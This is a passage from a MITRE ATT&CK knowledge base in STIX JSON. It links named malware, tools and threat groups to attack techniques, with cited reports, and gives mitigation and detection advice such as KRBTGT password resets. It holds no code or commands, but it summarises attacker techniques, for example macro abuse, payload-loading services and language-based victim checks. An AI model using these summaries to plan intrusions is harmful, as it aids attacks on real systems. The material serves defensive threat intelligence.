2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.433Z","description":"(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6d679df-1b24-4f80-a50e-96ee86b881e9","created":"2024-09-25T14:25:20.131Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:25:20.131Z","description":"Encrypt data stored at rest in databases. ","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d6f916-ca2a-4c25-841f-02d71b31308c","type":"relationship","created":"2020-02-27T17:55:27.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"STIG krbtgt reset","url":"https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779","description":"UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."}],"modified":"2020-11-05T16:16:33.496Z","description":"For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d9f305-bd14-4d86-939d-781aaf512e32","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for newly constructed files via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging. Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6e3972b-afc2-4dd6-972a-4fe73747dfe4","created":"2023-09-05T14:19:19.911Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-05T14:19:19.911Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6e9b528-8e46-4ac3-85ff-f9be29aa9c3f","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor processes for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6eaee5b-16b6-4e9f-8dd9-41b64c38aab1","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f6ede604-af42-4c2b-8324-454af2380b24","created":"2022-03-30T14:26:51.858Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.","modified":"2022-04-14T13:18:03.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6f38033-ddd4-418a-ad70-b1198df67fc3","type":"relationship","created":"2019-07-19T14:45:29.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","source_name":"Palo Alto Office Test Sofacy"}],"modified":"2021-08-16T21:25:04.479Z","description":"For the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6f5d688-5f78-492f-aed9-12f299b4f6f5","type":"relationship","created":"2019-06-18T18:40:33.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-01-29T17:32:00.161Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) has used PowerShell to create a Meterpreter session.(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6f600fd-796d-4f1f-b2c6-0ca283b2cdb1","type":"relationship","created":"2020-11-18T21:17:26.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2021-03-26T21:11:31.486Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can fingerprint architecture, computer name, and OS version on the compromised host. [Bazar](https://attack.mitre.org/software/S0534) can also check if the Russian language is installed on the infected machine and terminate if it is found.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6fe7167-0788-4062-9f59-d8ee8398db15","created":"2023-03-02T19:01:35.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:15:38.250Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can enumerate files for encryption.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f703f9e5-e210-433c-8f09-f20c5a0d00da","created":"2022-04-28T16:09:12.712Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Configuration management databases (CMDB) and other asset management systems may help with the detection of computer systems or network devices that should not exist on a network.","modified":"2022-04-28T16:09:12.712Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f705286a-3372-4343-b74f-cab6ff672774","created":"2023-03-08T20:11:59.732Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T20:11:59.732Z","description":"Remove unnecessary tools and software from containers.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f70697d6-11d6-4f1d-81ab-65bbe0d4e80c","created":"2024-04-18T15:11:02.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T18:48:56.566Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) will terminate [Mispadu](https://attack.mitre.org/software/S1122)'s infection process if the language of the victim machine is not Spanish or Portuguese.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f70c842c-f0f4-4b34-afee-87b0fad29cca","created":"2022-10-13T14:12:10.469Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:12:10.469Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007) the threat actors used a customized version of [PcShare](https://attack.mitre.org/software/S1050).(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7111d5e-7828-46a7-86fc-1275a34632a9","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor for API calls that may search for common password storage locations to obtain user credentials.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7120568-70db-4111-985c-9970775206c1","created":"2020-11-06T18:40:38.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.433Z","description":"(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f71229d4-5499-4eb1-ad83-b18a1063b5b7","type":"relationship","created":"2020-11-17T18:39:07.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-17T18:39:07.044Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has been created with a hidden attribute to insure it's not visible to the victim.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f713c899-8064-4cb2-8068-d5534d1e3d36","created":"2022-10-19T15:29:18.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T18:22:26.498Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has used `osascript` to call itself via the `do shell script` command in the [Launch Agent](https://attack.mitre.org/techniques/T1543/001) `.plist` file.(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f718c8ae-859f-4987-bf8c-9fac91a610bf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.108Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f71de781-3899-46ad-9c57-a63f683afab2","type":"relationship","created":"2020-09-11T14:56:37.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:33:13.937Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can create and execute services to load its payload.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f71fa9f5-7a3c-43a7-8ca3-2e3c8996bde8","type":"relationship","created":"2021-08-18T20:26:22.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T15:25:14.248Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used protocol tunneling to further conceal C2 communications and infrastructure.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7232e30-bc04-476a-871a-5048a0ada06c","created":"2021-04-07T14:44:36.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.845Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) has the ability to use an Excel Workbook to execute additional code by enabling Office to trust macros and execute code without user permission.(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f723b67d-5d1a-4bb2-8e0c-3d418bd93295","type":"relationship","created":"2021-06-02T16:04:10.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-02T16:04:10.879Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) has the ability to use loop operations to enumerate network resources.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f72527b3-98cb-4df6-9c52-9faef40206a0","type":"relationship","created":"2020-09-29T16:24:31.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"PWC WellMess C2 August 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html","description":"PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}],"modified":"2021-07-30T18:28:12.933Z","description":"(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f728406e-2862-4eca-be0e-2835255a49cd","created":"2022-04-15T12:38:50.509Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) can identify and search networked drives for specific file name extensions.(Citation: Microsoft Actinium February 